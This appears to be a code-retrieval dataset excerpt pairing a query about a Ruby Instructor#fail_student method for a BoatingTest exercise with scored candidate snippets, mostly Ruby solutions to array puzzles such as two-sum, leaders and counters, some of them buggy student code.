"docid": "a31a2f6b441fe09b0bbc829d05e75aaa",
"score": "0.5968314",
"text": "def okay_two_sum?(arr, target)\n arr.sort! # O(n*log(n))\n arr.each_with_index do |ele, i| #O(n)\n new_target = target - ele #O(1)\n # new_array = arr[0...i]+ arr[i+1..-1] #O(n)\n \n found? = bsearch(arr, new_target) \n return true if found?\n end\n false\nend",
"title": ""
},
{
"docid": "35c1fdbbf3eca5625d8610e7e62d07e9",
"score": "0.5965767",
"text": "def best_two_sum?(arr, target_sum) # O(n)\n hash = Hash.new\n arr.each_with_index do |u, i|\n return true if hash.has_key?(target_sum - u) \n hash[u] = i unless hash.has_key?(u) \n end \n false \nend",
"title": ""
},
{
"docid": "cef825fbfb3afa754f79670aa333d6ef",
"score": "0.59637374",
"text": "def solution(a)\n east = 0\n west = 0\n passing = 0\n for i in a\n case i\n when 0\n east += 1\n when 1\n west += 1\n passing += east\n end\n return -1 if passing > 1_000_000_000\n end\n passing\nend",
"title": ""
},
{
"docid": "2c63d9c6ff46932d86aa21933bf1162c",
"score": "0.59625804",
"text": "def y(n,m=4096); (1..m).map{|i| div(i).include?(n) ? i : nil}.compact; end",
"title": ""
},
{
"docid": "c0b77db1ad8a10b5d91335d7f3852f09",
"score": "0.5954285",
"text": "def fast_leader(n)\n n.sort!\n length = n.size\n leader = -1\n freq = 0\n candidate = n[length / 2]\n n.each do |num|\n freq += 1 if num == candidate\n leader = candidate if freq > length / 2\n end\n leader\nend",
"title": ""
},
{
"docid": "876b1577ae1ba612137db52a7a2ae711",
"score": "0.59541327",
"text": "def dec2FactString(nb)\n facts = []\n current = 1\n while nb > (fact = fact(current)) do # QUESTION: is this O(logn) or O(n)?\n facts << fact\n current += 1\n end\n\n result = []\n facts.reverse_each do |factorial|\n multiple = (nb/factorial).floor\n nb -= multiple*factorial\n result << code(multiple)\n end\n result.push(0).join\nend",
"title": ""
},
{
"docid": "f4d134a9ea7a3f6422eefb08f04390bc",
"score": "0.5952997",
"text": "def clever_octopus(fish)\n # Only a single dominant loop which make the algorithm O (n)\n big_fish = fish[0]\n (1...fish.length).each do |idx|\n if big_fish.length < fish[idx].length\n big_fish = fish[idx]\n end\n end\n big_fish\nend",
"title": ""
},
{
"docid": "27f29666484272c0d973e8400c4c357c",
"score": "0.59523517",
"text": "def hash_two_sum?(arr, num)\n hash = Hash.new(0) #O(1) work\n arr.each do |ele| # N times\n return true if hash.has_key?(num - ele) # O(1) work\n hash[ele]+= 1 # O(1) work\n end\n false\nend",
"title": ""
},
{
"docid": "7a007b872ce37620e3363cea2761da98",
"score": "0.594749",
"text": "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(0, :+)\n n = a.length\n expected = n * (n+1)/2\n diff = sum - expected\n missing = n + 1 - diff\nend",
"title": ""
},
{
"docid": "55518050fa0f65d68dff5606a7790baa",
"score": "0.59388787",
"text": "def good_two_sum?(arr, target)\r\n hash = Hash.new() #make a new hash check with TA if we want a value\r\n arr.each_with_index do |num, idx| # O(n)\r\n if hash.has_key?(target-num) #check if the hash contains the target number minus the current number return true\r\n return hash[target-num]\r\n else\r\n hash[num] = true #if it doesnt have that number add current number to the keys of the hash and add 1\r\n end\r\n end\r\n false\r\nend",
"title": ""
},
{
"docid": "b588a9712ad0aea7636e46312d5b2e6c",
"score": "0.5938573",
"text": "def solution(a)\n a.sort!\n (0...a.count - 2).each { |i| \n return 1 if a[i] + a[i + 1] > a[i + 2]\n }\n return 0\nend",
"title": ""
},
{
"docid": "537e708c7a5155f3e4dc95ff3a8b8201",
"score": "0.5938087",
"text": "def solution(n, a)\n m = a.size\n max = 0\n max_counters = false\n counters = []\n\n for i in 0...m do\n counters[a[i] - 1] = max if counters[a[i] - 1] == nil\n max = counters[a[i] - 1] if counters[a[i] - 1] > max\n\n if a[i] > n\n max_counters = true\n else\n if max_counters\n counters[a[i] - 1] = max + 1\n max_counters = false\n else\n counters[a[i] - 1] = counters[a[i] - 1] + 1\n end\n end\n end\nbinding.pry\n for j in 0...n do\n counters[j] = max if counters[j] == nil || counters[j] < max\n end\n\n counters\nend",
"title": ""
},
{
"docid": "8680c01521bd505821b50ed07f6ca370",
"score": "0.5936205",
"text": "def solution_16(list,n)\n nil\nend",
"title": ""
},
{
"docid": "a2ba808e6ff0401483e3cb8c3d9eac49",
"score": "0.59355736",
"text": "def my_min_phase2(list)\n min = list.first \n list.each do |el1| #O(n)\n if el1 < min\n min = el1\n end\n end\n min\nend",
"title": ""
},
{
"docid": "e86b2a47f8ccca909c29f806fb4763db",
"score": "0.5933069",
"text": "def solution(a)\n a.sort!\n begin\n a.each.with_index { |k, index| return a[index]+1 if (a[index+1] - a[index]) > 1 }\n rescue NoMethodError\n return a.last + 1\n end\nend",
"title": ""
},
{
"docid": "25ce13c7f89e85564062a258ec3c0efb",
"score": "0.59328353",
"text": "def sluggish_octopus(arr)\n arr.each_with_index do |i, idx|\n switch = true\n arr[i+1..-1].each_with_index do |j, idx|\n switch = false if j.length > i.length\n end\n return i if switch\n end\nend",
"title": ""
},
{
"docid": "399f214a86aff991f7f032815583efa8",
"score": "0.59324867",
"text": "def solution(a)\n # write your code in Ruby 2.2\n ((1..a.size).to_a - a).size > 0 ? 0 : 1\nend",
"title": ""
},
{
"docid": "dd9dad32f03c482edbc485cffc84f9b4",
"score": "0.59322584",
"text": "def arrayManipulation_1(n, queries)\n inner = [] << 0\n largest = 0\n\n 0.upto(queries.count - 1).each \\\n {|i|\n a = queries[i][0]\n b = queries[i][1]\n k = queries[i][2]\n\n 1.upto(n).each \\\n {|z|\n if z >= a and z <= b\n inner[z] = 0 if inner[z].nil?\n inner[z] = inner[z] + k\n\n largest = inner[z] if inner[z] > largest\n end\n\n break if z > b\n }\n }\n\n largest\nend",
"title": ""
},
{
"docid": "65aff3468b95c06c7f91b539a8edca1b",
"score": "0.5930369",
"text": "def solution(a)\n # write your code in Ruby 2.2 \n seen = {}\n\n max = a.max\n a.each do |v|\n seen[v] = true\n end\n \n seen.size == max && max == a.size ? 1 : 0\nend",
"title": ""
},
{
"docid": "6c75c688a8c9abcf195476c507e9ea45",
"score": "0.59281814",
"text": "def solution(a)\n leader, count = array_leader(a)\n return 0 unless leader\n\n n = a.size\n head_count = 0\n total_equis = 0\n a.each_with_index do |e, i|\n head_count += 1 if e == leader\n tail_count = count - head_count\n\n if (head_count > (i + 1)/2) && (tail_count > (n - 1 - i)/2)\n total_equis += 1\n end\n end\n\n total_equis\nend",
"title": ""
},
{
"docid": "24f189fd6b3cfc4aaa92f93d03441d85",
"score": "0.59264946",
"text": "def solution(a)\n zeroes = 0\n passes = 0\n a.each do |c|\n zeroes += 1 if c == 0\n passes += zeroes if c == 1\n return -1 if passes > 1000000000\n end\n passes\nend",
"title": ""
},
{
"docid": "739c8257e3b26c4d651fdd5dd712c849",
"score": "0.5924854",
"text": "def find_dissappeared_numbers(nums)\n nums.each_with_index do |num, i|\n nums[num - 1] += 1_000_000 if nums[num - 1] < 1_000_000\n end\n\n res = []\n nums.each_with_index do |num, i|\n if num < 1_000_000\n res << (i + 1)\n end\n end\n\n nums.each_with_index do |num, i|\n if num > 1_000_000\n nums[i] -= 1_000_000\n end\n end\n\n res\nend",
"title": ""
},
{
"docid": "79fdde445c7a493cfe3afe2b20030632",
"score": "0.59234357",
"text": "def two_sum_more_improved(nums, target)\n nums_hsh = Hash.new\n nums.each_with_index do |n, i|\n nums_hsh[n] = i\n end\n for i in (0...nums.length)\n first = nums[i]\n second = target - first\n if nums_hsh.include?(second) && nums.index(second) != i\n j = nums.index(second)\n return [i, j]\n end\n # nums_hsh[first] = i \n end\n return [0, 0]\nend",
"title": ""
},
{
"docid": "3ba870edaddd71e5aac94df121778597",
"score": "0.5921898",
"text": "def solution(n, a)\n # write your code in Ruby 2.2\n\n max_counter = 0\n max_applied_counter = 0\n\n # initialize\n counters = []\n (0..n-1).each do |i|\n counters[i] = 0\n end\n\n a.each do |a_i|\n if(a_i == n+1)\n max_applied_counter = max_counter\n else\n if counters[a_i-1] < max_applied_counter\n counters[a_i-1] = max_applied_counter\n end\n counters[a_i-1] = counters[a_i-1] + 1\n\n if(counters[a_i-1] > max_counter)\n max_counter = counters[a_i-1]\n end\n end\n end\n\n (0..n-1).each do |i|\n if(counters[i] < max_applied_counter)\n counters[i] = max_applied_counter\n end\n end\n counters\nend",
"title": ""
},
{
"docid": "855a55b7301e7286dd66d3d26709d17e",
"score": "0.5910628",
"text": "def problem_94\n py = lambda do |m,n|\n [m*m-n*n,2*n*m,m*m+n*n]\n end\n\n m,n,used = 2,1,0\n t,tt,r = 0,0,nil\n loop do\n r = py.call(m,n).sort\n if (r[2] - r[0]*2).abs == 1\n tt = r[2]*2 + r[0]*2\n puts \"#{m} #{n} #{r.inspect} circ=#{tt}\"\n used += 1\n if used == 2\n n = m\n used = 0\n end\n t += tt\n return(t-tt) if t > 1_000_000_000\n end\n m += 1\n end\nend",
"title": ""
},
{
"docid": "b12501b1f7e5aae86ec3ba085e7b0ee7",
"score": "0.5910238",
"text": "def solution(a)\n # write your code in Ruby 2.2\n unique_numbers = a.uniq\n \n unique_numbers.each do |element|\n if a.count(element).odd?\n return element\n end\n end\nend",
"title": ""
},
{
"docid": "184978b34707e2c9d190e35b6305dd56",
"score": "0.5907127",
"text": "def solution(n)\n a = n.to_s(2).split('')\n count, start, store = 0,0,0\n a.each do |i|\n start = 1 if i == '1' && count == 0\n count +=1 if i == '0' && start ==1\n if i=='1' && count > 0\n store = count if count > store\n count = 0\n end\n end\n store\nend",
"title": ""
},
{
"docid": "3f940bd70b6e1507faf06d772bcfd75a",
"score": "0.59059644",
"text": "def solution(a)\n stack_top = nil\n stack_size = 0\n a.each { |v| \n if stack_size == 0\n stack_top = v\n stack_size += 1\n else\n if stack_top == v\n stack_size += 1\n else\n stack_size -= 1\n end\n end\n }\n candidate = stack_top\n \n equi_leaders = 0\n if stack_size > 0\n total_candidates = a.count { |v| v == candidate }\n count_candidates = 0\n a.each_with_index { |v, i|\n count_candidates += 1 if v == candidate\n if count_candidates > (i + 1) / 2\n equi_leaders += 1 if (total_candidates - count_candidates) > (a.count - i - 1) / 2\n end\n }\n end\n equi_leaders\nend",
"title": ""
}
] |
04150c0c38a4c2c9b33097740537a749
|
`Instructorfail_student` should take in a student instance and test name. Like `pass_student`, it should try to find a matching `BoatingTest` and update its status to 'failed'. If it cannot find an existing `BoatingTest`, it should create one with the name, the matching student, and the status 'failed'.
|
[
{
"docid": "a83435a77bce270f26b8a60615111663",
"score": "0.7600791",
"text": "def fail_student(student, test_name)\n student_found = BoatingTest.all.find do |test_info|\n test_info.student == student && test_info.boating_test_name == test_name\n end \n if student_found\n student_found.boating_test_status = \"failed\"\n else \n BoatingTest.new(student, test_name, boating_test_status=\"failed\", self)\n end \n end",
"title": ""
}
] |
[
{
"docid": "04a769ab3345d884085e318763c680eb",
"score": "0.8233136",
"text": "def fail_student(student, test_name)\n test_exist = BoatingTest.all.find do |boating_test|\n boating_test.instructor == self && boating_test.student && student && boating_test.name == test_name\n end\n if (test_exist)\n test_exist.status = \"Failed\"\n else\n BoatingTest.new(student, test_name, \"Failed\", self)\n end\n end",
"title": ""
},
{
"docid": "0b20e34791561ab4b5ef30fd48d8f5bf",
"score": "0.81903",
"text": "def fail_student(student, exam_name)\n BoatingTest.all_tests.select {|test| test.student.first_name == student || test.student.test_name == exam_name }[0].status=\"failed\"\n # it should try to find a matching BoatingTest and update its status to 'failed'. If it cannot find an existing BoatingTest, it should create one with the name, the matching student, and the status 'failed'.\n end",
"title": ""
},
{
"docid": "3827775729050807b96e160c73371454",
"score": "0.81197953",
"text": "def fail_student (student, test)\n test_check = BoatingTest.all.find{|test| test.student == student && test.test_name == test}\n\n if test_check == true\n test_check.test_status = \"failed\"\n else\n BoatingTest.new( student, test, \"failed\", self)\n end\n end",
"title": ""
},
{
"docid": "0fb1127ee2984601ba59f60880e4cf5f",
"score": "0.79712397",
"text": "def fail_student(student_inst, test_name)\n BoatingTest.all.each do |boatingtest|\n if boatingtest.student == student_inst && boatingtest.name == test_name\n boatingtest.status = \"failed\"\n return boatingtest\n end\n end\n BoatingTest.new(student_inst, test_name, status=\"failed\", self)\n end",
"title": ""
},
{
"docid": "ebc5d50f61585e489deb13d05adf2900",
"score": "0.79692674",
"text": "def fail_student(student, test_name)\n if find_test(student, test_name) != nil\n find_test(student, test_name).test_status = \"failed\"\n find_test(student, test_name)\n else\n add_boating_test(student, test_name, \"failed\")\n end\n end",
"title": ""
},
{
"docid": "24eb9dd217986cc45280d1fd561c25c5",
"score": "0.7954586",
"text": "def fail_student(student, test_name)\n# Like `#pass_student`, it should try to find a matching `BoatingTest` and update its status to 'failed'.\n matching_array = BoatingTest.all.select {|test| test.student == student && test.test_name == test_name}\n if matching_array != nil\n return matching_array.each {|test_instance| test_instance.test_status = 'failed'}\n# If it cannot find an existing `BoatingTest`, \n else\n# it should create one with the name, the matching student, and the status 'failed'.\n return BoatingTest.new(student, test_name, 'failed', self)\n end\n end",
"title": ""
},
{
"docid": "9a6dd0743910f5d7cd875c8ab645289c",
"score": "0.78654",
"text": "def fail_student(input_full_name, input_test_name)\n student = Student.find_student(input_full_name)\n boattest = BoatingTest.all.find { |boattest|\n boattest.test_name == input_test_name && boattest.student.full_name == input_full_name\n }\n boattest.status = 'failed'\n end",
"title": ""
},
{
"docid": "234d02f9dd693d28010fa554699ec115",
"score": "0.7760714",
"text": "def fail_student(student, test_name)\n specific_test = BoatingTest.find_student_test(student) & BoatingTest.find_test_name(test_name)\n if specific_test.length > 0 \n specific_test.each{|test| test.test_status = \"failed\"}\n else\n specific_test = BoatingTest.new(student, test_name, \"failed\", self)\n end\n end",
"title": ""
},
{
"docid": "e3ffdf71753b36785c25ab77200af4a7",
"score": "0.77135164",
"text": "def fail_student(student, test_name)\n \n check_if_boating_test_exist = BoatingTest.all.find do |boating_test| \n boating_test.student == student &&\n boating_test.test_name == test_name\n end\n \n if check_if_boating_test_exist == nil\n BoatingTest.new(student, test_name, \"failed\", self)\n else\n check_if_boating_test_exist.test_status == \"failed\"\n end\n\n end",
"title": ""
},
{
"docid": "ed3c9417f6dc53b22c9f21d0f66374c7",
"score": "0.76739866",
"text": "def pass_student(student, name)\n my_students_tests = get_students_of_instructor\n\n found = find_student(student, my_students_tests)\n found = find_tests(name, found)\n if found != nil\n found.status = \"passed\"\n else\n BoatingTest.new(student, name, \"passed\", self)\n end\n end",
"title": ""
},
{
"docid": "9390ae403741fd3fef5142ec60118036",
"score": "0.76525396",
"text": "def fail_student(student_name, test_name)\n\t\tBoatingTest.all.select do |test| \n\t\t\tif test.student == student_name \n\t\t\t\ttest.test_status = 'failed'\n\t\t\telsif test.student = nil\n\t\t\t\t\treturn BoatingTest.new(student_name, test_name, 'failed', self)\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "16d559a4cf324b35c1089b1d942dc1f9",
"score": "0.7527743",
"text": "def pass_student(student, test_name)\n test_exist = BoatingTest.all.find do |boating_test|\n boating_test.instructor == self && boating_test.student && student && boating_test.name == test_name\n end\n if (test_exist)\n test_exist.status = \"Passed\"\n else\n BoatingTest.new(student, test_name, \"Passed\", self)\n end\n end",
"title": ""
},
{
"docid": "3220b92b211cc21e0ba5943f55527b39",
"score": "0.75196344",
"text": "def pass_student(student_name, test)\n instructors_tests.map do |boating_test|\n if boating_test.student == student_name && boating_test == test\n boating_test.test_status = \"passed\"\n return boating_test\n else\n new_test = BoatingTest.new(student_name, test.test_name, \"passed\", self)\n return new_test\n end\n end\n end",
"title": ""
},
{
"docid": "cf5382dfba60c5fe1c71199c229e2d07",
"score": "0.7504749",
"text": "def pass_student(student, test_name)\n begin\n test_results = BoatingTest.all.find {|test| student == test.student and \n test_name == test.test_name}\n test_results.test_stat = \"passed\"\n \n rescue\n if test_results == nil \n BoatingTest.new(student, test_name, \"passed\", self )\n end\n \n end\n end",
"title": ""
},
{
"docid": "f91bb94867a29d7185acef2fe9aa2ccd",
"score": "0.74615085",
"text": "def fail_student(student_name, test_name)\n instance = []\n BoatingTest.all.select do |tests|\n if tests.student == student_name && tests.test_name == test_name\n tests.status = \"failed\"\n instance = tests\n else\n instance = BoatingTest.new(student_name, test_name, status=\"failed\", self)\n end\n end\n instance\n end",
"title": ""
},
{
"docid": "74add7be84d7ff6079ae98889f2a00b5",
"score": "0.73795664",
"text": "def pass_student(student, name)\n passing_test = BoatingTest.find_test_by_name(name, student)\n\n if passing_test\n passing_test.test_status = 'passed'\n passing_test\n else\n BoatingTest.new(student, name, \"passed\", self)\n end\n end",
"title": ""
},
{
"docid": "715559beeee03cc7762de6ddae15776c",
"score": "0.7322815",
"text": "def pass_student(student_name,test_name)\n BoatingTest.all.each do |test_instance|\n if test_instance.student.name == student_name && test_instance.test_name == test_name\n test_instance.test_status = \"passed\"\n end\n end\n end",
"title": ""
},
{
"docid": "4a9778f3b0addb7e0f3abee18baa5169",
"score": "0.7312355",
"text": "def pass_student(student, test_name)\n \n check_if_boating_test_exist = BoatingTest.all.find do |boating_test| \n boating_test.student == student &&\n boating_test.test_name == test_name\n end\n\n if check_if_boating_test_exist == nil\n BoatingTest.new(student, test_name, \"passed\", self) \n else \n check_if_boating_test_exist.test_status = \"passed\"\n check_if_boating_test_exist\n end\n end",
"title": ""
},
{
"docid": "ad28e88998da16c466ec6d9c07ce3824",
"score": "0.72926486",
"text": "def pass_student(student_inst, test_name)\n BoatingTest.all.each do |boatingtest|\n if boatingtest.student == student_inst && boatingtest.name == test_name\n boatingtest.status = \"passed\"\n return boatingtest\n end\n end\n BoatingTest.new(student_inst, test_name, status=\"passed\", self)\n end",
"title": ""
},
{
"docid": "427790bafda2bdc301a65f9b2a748e6a",
"score": "0.72719634",
"text": "def pass_student(student, test_name)\n if find_test(student, test_name) != nil\n find_test(student, test_name).test_status = \"passed\"\n find_test(student, test_name)\n else\n add_boating_test(student, test_name, \"passed\")\n end\n end",
"title": ""
},
{
"docid": "332f9f162ca40e0b45fc7d02d4defc6d",
"score": "0.72703296",
"text": "def pass_student(student, test_name)\n specific_test = BoatingTest.find_student_test(student) & BoatingTest.find_test_name(test_name)\n if specific_test.length > 0 \n specific_test.each{|test| test.test_status = \"passed\"}\n else\n specific_test = BoatingTest.new(student, test_name, \"passed\", self)\n end\n end",
"title": ""
},
{
"docid": "739e9824510e3f2e3869fec6bc29a716",
"score": "0.72639954",
"text": "def pass_student(student, test)\n test_check = BoatingTest.all.find{|test| test.student == student && test.test_name == test}\n\n if test_check == true\n test_check.test_status = \"passed\"\n else\n BoatingTest.new( student, test, \"passed\", self)\n end\n end",
"title": ""
},
{
"docid": "8b26bc7d77ecab91aba4b21ba520477d",
"score": "0.7233995",
"text": "def pass_student(student, test_name)\n tests_to_pass = BoatingTest.all.find do |boatingtest|\n if boatingtest.student.first_name == student.first_name && boatingtest.test_name == test_name \n tests_to_pass.status = \"passed\"\n else #if no such match, create match & status: \"passed\"\n BoatingTest.new(student, test_name, \"passed\", self)\n end\n #binding.pry\n end\n end",
"title": ""
},
{
"docid": "0846c49823d947792de18f017d71af5c",
"score": "0.7206049",
"text": "def pass_or_fail_student(test_result_to_assign:,student_instance:,testname:)\n instance_to_update = BoatingTest.all.find{|boating_test|(boating_test.teststudent == student_instance) && (boating_test.testname == testname)}\n if instance_to_update != nil\n #UPDATE\n instance_to_update.teststatus = test_result_to_assign\n else\n #CREATE NEW\n instance_to_update = BoatingTest.new(testname:testname,teststatus:test_result_to_assign,teststudent:student_instance,testinstructor:self)\n end\n instance_to_update\n end",
"title": ""
},
{
"docid": "b54e32472238569ce18a896da5cc9af9",
"score": "0.71978873",
"text": "def fail_student\n end",
"title": ""
},
{
"docid": "9a35a2c5a130fcec7fd6190fbe358491",
"score": "0.70886487",
"text": "def pass_student(student_obj, test_nam)\n if test_nam == nil \n BoatingTest.new(student_obj, test_nam, \"Pass\", Instructor.new(\"Chica\"))\n else \n BoatingTest.all.each do |test_obj|\n if test_obj.student_inst == student_obj && test_obj.test_name == test_nam\n test_obj.test_status = \"Pass\"\n end \n \n end \n end \n\n\n end",
"title": ""
},
{
"docid": "001135c72e71ffba8a1f7436b90d9a2c",
"score": "0.6999133",
"text": "def pass_student(student_name, test_name)\n\t\tBoatingTest.all.select do |test| \n\t\t\tif test.student == student_name \n\t\t\t\ttest.test_status = 'passed'\n\t\t\telsif test.student != student_name\n\t\t\t\t\treturn BoatingTest.new(student_name, test_name, 'passed', self)\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1060ce90044e8981e0b789e33c4a2308",
"score": "0.69922674",
"text": "def pass_student(student, test_name)\n end",
"title": ""
},
{
"docid": "0aa120e1cb94b443788fc58252c0016e",
"score": "0.6958085",
"text": "def pass_student(student, test_name)\n student_found = BoatingTest.all.find do |test_info|\n test_info.boating_test_name == test_name && test_info.student.first_name == student\n end \n if student_found\n student_found.boating_test_status = \"passed\"\n else \n BoatingTest.new(student, test_name, \"passed\", self)\n # we were passing BoatingTest.new(student, boating_test_name, \"passed\", self) \n # => but boating_test_name is the parameter for the argument, in here the one we are passing \n # is in line 32, and we called it test_name, so it has to be test_name when invoking BoatingTest.new\n end \n end",
"title": ""
},
{
"docid": "d77b8649f95957111070098866d59016",
"score": "0.6937932",
"text": "def pass_student(student, test_name)\n test_to_pass = BoatingTest.all.find do |test|\n test.test_name == test_name && test.student == student\n end \n if test_to_pass \n test_to_pass.status = \"Passed\"\n else\n BoatingTest.new(test_name, self, student, status=\"Passed\")\n end\n end",
"title": ""
},
{
"docid": "27936f966db5bfaec3b3e471fe06a4a6",
"score": "0.6903082",
"text": "def pass_student(student_name, test_name)\n instance = []\n BoatingTest.all.select do|tests|\n if tests.student == student_name && tests.test_name == test_name\n tests.status = \"passed\"\n instance = tests\n else\n instance = BoatingTest.new(student_name, test_name, status=\"passed\", self)\n end\n end\n instance\n end",
"title": ""
},
{
"docid": "d314aa9816edb372f013e0e87dd733ad",
"score": "0.6854878",
"text": "def pass_student(student_name, test_name)\n \n tests = BoatingTest.all.select { |boating_test|\n boating_test.bt_name == test_name && boating_test.student.first_name == student_name \n }\n if tests == []\n stud = Student.find_student(student_name)\n new_test = BoatingTest.new(stud, test_name, \"passed\", self)\n return new_test\n else\n return tests.each{|bt| bt.bt_status = \"passed\"}\n end\n\n \n end",
"title": ""
},
{
"docid": "3b5e20296832ad3f599396758d60c48f",
"score": "0.67158353",
"text": "def pass_student(student, search_name)\n if BoatingTest.all.find{|test| test.student == student && test.test_name == search_name}\n BoatingTest.all.find{|test| test.student == student && test.test_name == search_name}.status = \"passed\"\n else\n BoatingTest.new(student, search_name, \"passed\", self)\n end\n end",
"title": ""
},
{
"docid": "2ea0cadfeb8524045a853baded909094",
"score": "0.66093856",
"text": "def pass_student(student, test_name) #if it helps you get to a point but doesn't compelte the jobm, make it a helper method\n self.grade_student(student, test_name, \"passed\")\n end",
"title": ""
},
{
"docid": "6ab86391ed06d540a638403d8a001962",
"score": "0.6490553",
"text": "def check_and_alter_tests(student, test_name, status)\n existing_test = (BoatingTest.test_exists?(student, test_name))\n if existing_test.nil?\n BoatingTest.new(student, test_name, status, self)\n # elsif self.test_mine?(existing_test)\n # existing_test.status = status\n else\n existing_test.status = status\n existing_test\n end\n end",
"title": ""
},
{
"docid": "628ce53e239f7d68c480fb7f2e46976c",
"score": "0.647909",
"text": "def add_boating_test(student, test_name, status, instructor)\n\n end",
"title": ""
},
{
"docid": "6617d7812a8adb8b4ce2a3738f43bcda",
"score": "0.6407978",
"text": "def pass_student(student,test_name)\n# If there is a `BoatingTest` whose name and student match the values passed in, \n matching_array = BoatingTest.all.select {|test| test.student == student && test.test_name == test_name}\n # binding.pry\n if matching_array != nil\n# this method should update the status of that BoatingTest to 'passed'. \n return matching_array.each {|test_instance| test_instance.test_status = 'passed'}\n # binding.pry\n# If there is no matching test, this method should create a test with the student, that boat test name, and the status 'passed'. \n else\n return BoatingTest.new(student, test_name, 'passed', self)\n # binding.pry\n# Either way, it should return the `BoatingTest` instance.\n end\n end",
"title": ""
},
{
"docid": "59fdb52298847991dea8cec12a6845ec",
"score": "0.60175055",
"text": "def example_failed(name, counter, failure)\n end",
"title": ""
},
{
"docid": "a9da9c7821d8c16a267eb7a1f94cc91e",
"score": "0.5918949",
"text": "def find_and_change_student_grade(student, test_name, status)\n test_found = BoatingTest.all.find{|test|\n test.test_name == test_name && test.student == student\n }\n if test_found\n test_found.test_status = status\n return test_found\n else\n BoatingTest.new(student, test_name, status, self)\n end\n end",
"title": ""
},
{
"docid": "e629191fa3ad6d1acc06f6a36814fbba",
"score": "0.59122676",
"text": "def passed_students\n all_passed_tests = self.boating_tests().select {|bt| bt.status == \"passed\"}\n all_passed_tests.map {|test| test.student }\n end",
"title": ""
},
{
"docid": "7bbd9405c46c1d3c2a6f45499e345847",
"score": "0.5854561",
"text": "def initialize(student, test_name, test_status, instructor)\n @student = student\n @test_name = test_name\n @test_status = test_status\n @instructor = instructor\n\n @@all_boating_tests << self\n end",
"title": ""
},
{
"docid": "e0c80dd0dee0cf7791c616f98dd2a489",
"score": "0.58407956",
"text": "def spec_failed(name, counter, failure)\n end",
"title": ""
},
{
"docid": "be312cc783b8f17059356824e7bbd469",
"score": "0.5754846",
"text": "def test_check_if_student_is_student\n assert_equal(true, TestCases.is_student())\n end",
"title": ""
},
{
"docid": "79b87776793b2cedf7a965d0fb929774",
"score": "0.57411516",
"text": "def add_boating_test(boating_test_name, boating_test_status, instructor)\n# We're in the Student class, so this method won't accept an argument of student; the instance IS the student.\n new_boating_test = BoatingTest.new(self, boating_test_name, boating_test_status, instructor)\n end",
"title": ""
},
{
"docid": "9a80694fad08a252b6ad15879a770f11",
"score": "0.5710714",
"text": "def create\n if not instructor_signed_in?\n redirect_to root_path\n return\n end\n \n # Checks that the email is in fact an email address\n if !(EmailValidator.valid?(params[:student][:email]))\n flash[:danger] = \"Invalid Email Address.\"\n redirect_to students_path\n return\n end\n \n @instructor = current_instructor\n @course = @instructor.courses.find_by( number: params[:student][:course_num] )\n \n # Check if that course exists\n @course = current_instructor.courses.where( number: params[:student][:course_num], year: params[:student][:course_year], session: params[:student][:course_session] ).first\n if (@course == nil) \n flash[:danger] = \"Could not add student because the corresponding course was not found.\"\n redirect_to students_path\n return\n end\n \n @student = Student.find_by( email: params[:student][:email] )\n \n # Should never happen\n if @course == nil\n redirect_to students_path\n return\n end\n \n # A new student is being created\n if @student == nil\n #Ensure students arent enrolled twice\n if @course.students.where( id: @student ).empty? \n @student = @course.students.create!(student_params)\n if @student.save\n UserMailer.welcome_email(@student, @student.password).deliver_later\n puts '------'+ @student.first_name + ' Password ' + @student.password.to_s\n else\n #could not send email\n end\n \n end\n #The student already exists\n else\n #Ensure students arent enrolled twice\n if @course.students.where( id: @student ).empty? \n @course.students << @student\n end\n end\n flash[:success] = \"Student #{@student.first_name} #{@student.last_name} has been created\"\n redirect_to students_path\n end",
"title": ""
},
{
"docid": "a84875627737d5dbc9da7d0e68b5fcd1",
"score": "0.5701887",
"text": "def initialize(student, test_name, test_status, instructor)\n @student = student\n @test_name = test_name\n @test_status = test_status\n @instructor = instructor\n @@all << self\n end",
"title": ""
},
{
"docid": "81b8ec48aeab23f7ed9ee447070aaca2",
"score": "0.56702095",
"text": "def initialize(student, boating_test, status, instructor)\n @student = student\n @boating_test = boating_test\n @status = status\n @instructor = instructor\n @@all_test << self\n end",
"title": ""
},
{
"docid": "dbddc81b6fe86376ee0bea54529cbf69",
"score": "0.56614465",
"text": "def initialize(student, test_name, test_status, instructor)\n\t\t@student, @test_name, @test_status, @instructor = student, test_name, test_status, instructor\n\t\t@@all << self\n\tend",
"title": ""
},
{
"docid": "496f65c568cb7a79a6a532debeed1d8c",
"score": "0.5614287",
"text": "def test_outcome(name_str, test_name_str, result_str)\n test = find_test(test_name_str)\n student = find_student(name_str)\n\n if test_present?(student, test)\n test.test_status = result_str\n else \n BoatingTest.new(student, test_name_str, result_str, self)\n end\n end",
"title": ""
},
{
"docid": "31150614ab93571010993d92379de7b4",
"score": "0.5605981",
"text": "def example_failed(example, *args)\n if RSPEC_1\n @failed_examples ||= []\n @failed_examples << example\n else\n super\n end\n end",
"title": ""
},
{
"docid": "bfe8776d3427422fb1bb1d3bebd84b0e",
"score": "0.5597447",
"text": "def example_failed( example )\n\t\t@failure_index += 1\n\t\tmsg = self.format_example( example )\n\t\tmsg << \", FAILED - #%d)\" % [ @failure_index ]\n\t\tself.out msg\n\n\t\t@failures << example\n\tend",
"title": ""
},
{
"docid": "6ff16b2eb3deb8cdaf83a41f3dd8ae65",
"score": "0.55894357",
"text": "def grade_status(student)\n\tif student[:grade] = \"F\"\n\t\tputs \"Fail\"\n\telse\n\t\tputs \"Pass\"\n\tend\n\nend",
"title": ""
},
{
"docid": "e5316ff66ec3572611b83f18538b4706",
"score": "0.5580596",
"text": "def create\n @course_student = CourseStudent.new(course_student_params)\n @course_student.user_id = params[:course_student][:user_id]\n @course_student.course_instructor_id = params[:course_student][:course_instructor_id]\n @course_student.grades = \"\"\n @course_student.status = params[:course_student][:status]\n begin\n respond_to do |format|\n if @course_student.save\n format.html { redirect_to @course_student, notice: 'Course student was successfully created.' }\n format.json { render :show, status: :created, location: @course_student }\n else\n format.html { render :new }\n format.json { render json: @course_student.errors, status: :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordNotUnique\n \tflash[:danger] = \"Student already added to course.\"\n \tredirect_to new_course_student_path\n end\n end",
"title": ""
},
{
"docid": "6b391d818d286cb259df50211caa72ee",
"score": "0.55670726",
"text": "def fail_test(failure_type)\n @failure_type = failure_type\n @outcome = :fail\n write_failure_message\n false\n end",
"title": ""
},
{
